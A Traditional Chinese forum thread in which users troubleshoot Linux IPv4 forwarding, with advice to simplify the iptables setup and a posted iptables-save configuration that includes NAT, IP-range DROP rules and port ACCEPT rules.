IPTables設定方法的人,我想不多 , 也數得出來... 因為大部份的人都是一樣
拿個example 來套用能動,就萬事OK了...況且netfilter那五個chain的流程
能搞得清楚的人就算不錯了... 還能指望現在的新手能提供什麼樣的資訊
我想都不敢想... 不指望了!!
我以後的態度大概都是這樣了,對於發文次數不多的人,求救求解答的人
我頂多是給提示,不會參與討論,也不用太認真來看待他們的問題!!
請問不通時候,iptables firewall 與 ipv4 forwarding 數值為何?我想是要看這個吧。
還有你 fw 一堆根本不需要的設定,比方為何一堆 INPUT 阻擋限制?你不是在內網測試嗎... (除非你實際網路非如此,你有少交代一些事情)
再者你只是測試 ip forwarding 功能而已,這兩段要通就是單純封包轉送不包含 nat,但是你都設定了... 這樣只會把問題複雜化。
基本上,你不需要有任何 iptables 設定,純 ipv4 forwarding 不需要特別到 iptables 內有其他 rule 設定項目。只要確認 default policy 為 ACCEPT,系統面 ipv4 forwarding 數值為 1,兩個不同網段 gw 都指向 linux 各自連結 ip 即可。
網路問題請應該用單純環境去測試,不要把問題複雜化這樣。
奇怪了....
你不是已經縮小問題區域了嗎?? 還問why ??
天下沒有不會壞的PC 主機,也沒有不會壞的網路線,更沒有不會壞的網路卡!!
當然switch也在內啊.... 搞不好就是那麼巧,swich port要壞不壞....都有可能啊!!
這種非網管的設備,誰知道功能到底是不是正常?
就診斷一下吧...
1. 當時候 linux 可以 ping 內與外兩個網段嗎?
2. 當時候 ipv4 forwarding 內容數值是多少有無異動?
3. 當時候 firewall 設定內容為何?iptables-save 輸出寫啥
# Generated by iptables-save v1.4.2 on Fri Oct 9 07:46:07 2009
*nat
:PREROUTING ACCEPT [4060:227792]
:POSTROUTING ACCEPT [108:6773]
:OUTPUT ACCEPT [62:4045]
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.113:80
-A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE
COMMIT
# Completed on Fri Oct 9 07:46:07 2009
# Generated by iptables-save v1.4.2 on Fri Oct 9 07:46:07 2009
*filter
:INPUT ACCEPT [741:49316]
:FORWARD ACCEPT [703:189536]
:OUTPUT ACCEPT [16356:29919566]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED -j ACCEPT
-A INPUT -i eth0 -m iprange --src-range 193.4.0.0-193.4.255.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 202.134.5.0-202.134.5.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 217.97.217.0-217.97.217.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 199.103.56.0-199.103.63.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 88.0.0.0-88.3.212.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 89.188.106.0-89.188.106.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 81.0.0.0-81.255.255.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 219.132.21.192-219.132.21.255 -j DROP
-A INPUT -i eth0 -m iprange --src-range 221.138.0.0-221.143.255.255 -j DROP
-A INPUT -s 202.39.77.224/32 -i eth0 -j DROP
-A INPUT -s 67.19.173.32/29 -i eth0 -j DROP
-A INPUT -s 75.126.132.0/27 -i eth0 -j DROP
-A INPUT -s 61.63.4.74/32 -i eth0 -j DROP
-A INPUT -s 67.15.104.5/32 -i eth0 -j DROP
-A INPUT -s 67.225.128.0/17 -i eth0 -j DROP
-A INPUT -s 67.225.128.0/17 -i eth0 -j DROP
-A INPUT -s 209.188.80.0/20 -i eth0 -j DROP
-A INPUT -s 67.19.19.128/29 -i eth0 -j DROP
-A INPUT -s 125.131.116.0/24 -i eth0 -j DROP
-A INPUT -s 59.38.145.0/24 -i eth0 -j DROP
-A INPUT -m state --state ESTABLISHED -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 3/4 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 14 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 16 -j ACCEPT
-A INPUT -i eth0 -p icmp -m icmp --icmp-type 18 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 25 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --sport 53 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --sport 53 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 110 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -i eth1 -j ACCEPT
COMMIT
# Completed on Fri Oct 9 07:46:07 2009
3. 啟動 IP 轉遞
[root@linux ~]# echo "1" > /proc/sys/net/ipv4/ip_forward
# 上述指令如果沒有問題,將他加入 /etc/rc.d/rc.local 當中去!